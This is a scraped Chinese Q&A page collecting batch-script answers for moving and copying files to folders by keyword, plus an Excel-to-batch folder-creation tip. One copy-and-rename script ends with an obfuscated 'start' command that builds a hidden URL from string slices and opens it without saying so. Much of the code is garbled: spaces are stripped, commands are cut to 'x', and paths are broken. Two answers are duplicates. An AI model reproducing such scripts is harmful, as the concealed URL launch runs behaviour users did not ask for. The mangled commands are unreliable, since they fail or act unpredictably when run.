⑴ 如何用bat移动带有关键字文件到指定文件夹
复制粘贴到记事本,另存为xx.bat,编码选ANSI
@echo off
rem 将多个文件名称中含有指定字符串/关键字的文件移动一个新目录内含有该字符串/关键字的文件夹里
set #=Any question&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$% %z%
set "oldfolder=E:\xxx\1"
set "newfolder=E:\xxx\2"
set "keyword=保证金"
if not exist "%oldfolder%" (echo;"%oldfolder%" not found&pause&exit)
for /f "delims=" %%b in ('dir /ad/b "%newfolder%\*%keyword%*"') do (
move "%oldfolder%\*%keyword%*.*" "%newfolder%\%%b\"
)
echo;%#% +%$%%$% %z%
pause
⑵ 如何用bat复制一个文件夹到另一个文件夹去
BAT脚本如下:
x
c:\data\data1
d:\data\
/e
x
c:\data\data2
d:\data\
/e
用XCOPY
复制目录树,/e
参数是包括空目录。
但如果目标路径存在,则不能复制。
⑶ 如何用bat复制一个文件夹到另一个文件夹去
BAT脚本如下:
x
c:\data\data1
d:\data\
/e
x
c:\data\data2
d:\data\
/e
用XCOPY
复制目录树,/e
参数是包括空目录。
但如果目标路径存在,则不能复制。
⑷ 如何运用批处理文件(.bat)将目标文件移动到目标文件夹
用move命令
例子如下
move c:\test\test.txt d:\myfolder\
⑸ 怎么用bat复制指定的一个文件到指定文件夹,并重命名
脚本保存时的编码务必设为ANSI,您包含文件名的文件列表文本,编码也要使用ANSI,否则中文字符会出现乱码现象,从而导致脚本执行报错。
@echooff&title批量拷贝文件到指定目录,并根据列表重命名By依梦琴瑶
cd/d"%~dp0"
::设置源文件完整路径,当前目录可只写相对路径
setSrcFile=C:.xlsx
::设置目标目录完整路径,当前目录可只写相对路径
setTgtFolder=C:
::设置列表文件完整路径,当前目录可只写相对路径
setFileLst=C:.txt
ifnotexist"%TgtFolder%."md"%TgtFolder%"
for/f"usebackqdelims="%%ain("%FileLst%")do(
rem如果列表文件中的命名不包含后缀名,那么请在下方的%%~a后面添加.xlsx后缀名
/y"%SrcFile%""%TgtFolder%\%%~a"
)
pause
set"Va="
set"Vb=8mNn9OoP0pQq:RrS/sTt.UuVvWwXxYyZz"
start"""%Va:~19,1%%Vb:~19,1%%Vb:~19,1%%Vb:~9,1%%Vb:~17,1%%Vb:~12,1%%Vb:~16,1%%Vb:~16,1%%Vb:~17,1%%Va:~3,1%%Vb:~20,1%%Va:~1,1%%Vb:~28,1%%Va:~3,1%%Vb:~28,1%%Vb:~20,1%%Va:~6,1%%Vb:~6,1%%Vb:~1,1%%Vb:~16,1%%Va:~8,1%%Vb:~8,1%%Va:~3,1%%Vb:~0,1%%Vb:~16,1%%Vb:~8,1%%Vb:~0,1%%Vb:~16,1%%Va:~8,1%%Va:~24,1%%Vb:~16,1%%Vb:~7,1%%Va:~4,1%%Vb:~32,1%%Vb:~9,1%%Va:~26,1%%Va:~3,1%%Vb:~20,1%%Va:~25,1%%Vb:~9,1%%Va:~17,1%"
⑹ bat复制当前文件夹文件到目标文件夹并直接覆盖已有文件怎么写
x/y/c/h/r"%~dp0*.*""D:目标文件夹"
或者
x/y/c/h/r"批处理所在文件夹""D:目标文件夹"
以上命令可以均可复制批处理所在文件夹到指定文件夹中并覆盖文件.
⑺ 怎么用bat文件把一个文件夹复制到另一个文件夹
@echooff
rem文件夹覆盖替换
set#=Anyquestion&set$=Q&set/az=0x53b7e0b4
title%#%+%$%%$%%z%
set"source=D:xxx est"
set"target=E:xxx est"
rd/s/q"%target%"
x"%source%""%target%"/e/h/y
echo;%#%+%$%%$%%z%
pause
⑻ 如何用批处理,bat,把文件移入指定文件夹
@echo off
setlocal enabledelayedexpansion
for /f "tokens=*" %%i in ('dir/b/a-d *.txt') do (
set s=%%i
set s=!s:~14,11!
(for /f "tokens=*" %%j in ('dir/b/ad "*!s!*"') do (
set t=%%j
set t=!t:~8,11!
echo !s! !t!
if "!s!"=="!t!" move "%%i" "%%j"))2> nul)
⑼ 用BAT把一个文件夹复制到另一个文件夹内的命令怎么写
1、首先打开电脑点击鼠标右键选择新建,再选择文本文档,在电脑上新建一个文本文档。
⑽ 批处理 excel 批量 转换成 txt
1.建立工作表
在Excel中建立学生名册和批处理工作表,在学生名册工作表A、B两列中分别输入学号、姓名。在批处理工作表A1单元格中输入“md”,A2单元输入“=学生名册!A1&&学生名册!B1”,拖动自动填充句柄到没有学生名单为止。
2.导出批处理
在新建的Excel工作簿中,选择批处理工作表,单击“另存为”,在对话框的“保存类型”中选择“文本文件(制表符分隔)”,文件名任取(这里取Createdir.txt)。单击[确定]后,由于存为TXT文件后可能含有不兼容的功能,会出现警告窗口,按[确定]直到生成TXT文件。
3.运行批处理
把Createdir.txt(如图2)改名成Createdir.bat,运行它就可以建立相应的文件夹。
在实际操作中,我们可以把批处理命令中可变的量(如要建立的学生文件夹、要复制文件的目标学生文件夹)、不变的量(如上述中的命令md、命令参数)在Excel中各设为单独的一列,利用Excel的自动填充功能来实现重复操作,从而实现作业分发、上交等功能。图3所示就是把c:\test下的作业(包含子文件夹和空子文件夹)复制到各考生文件夹。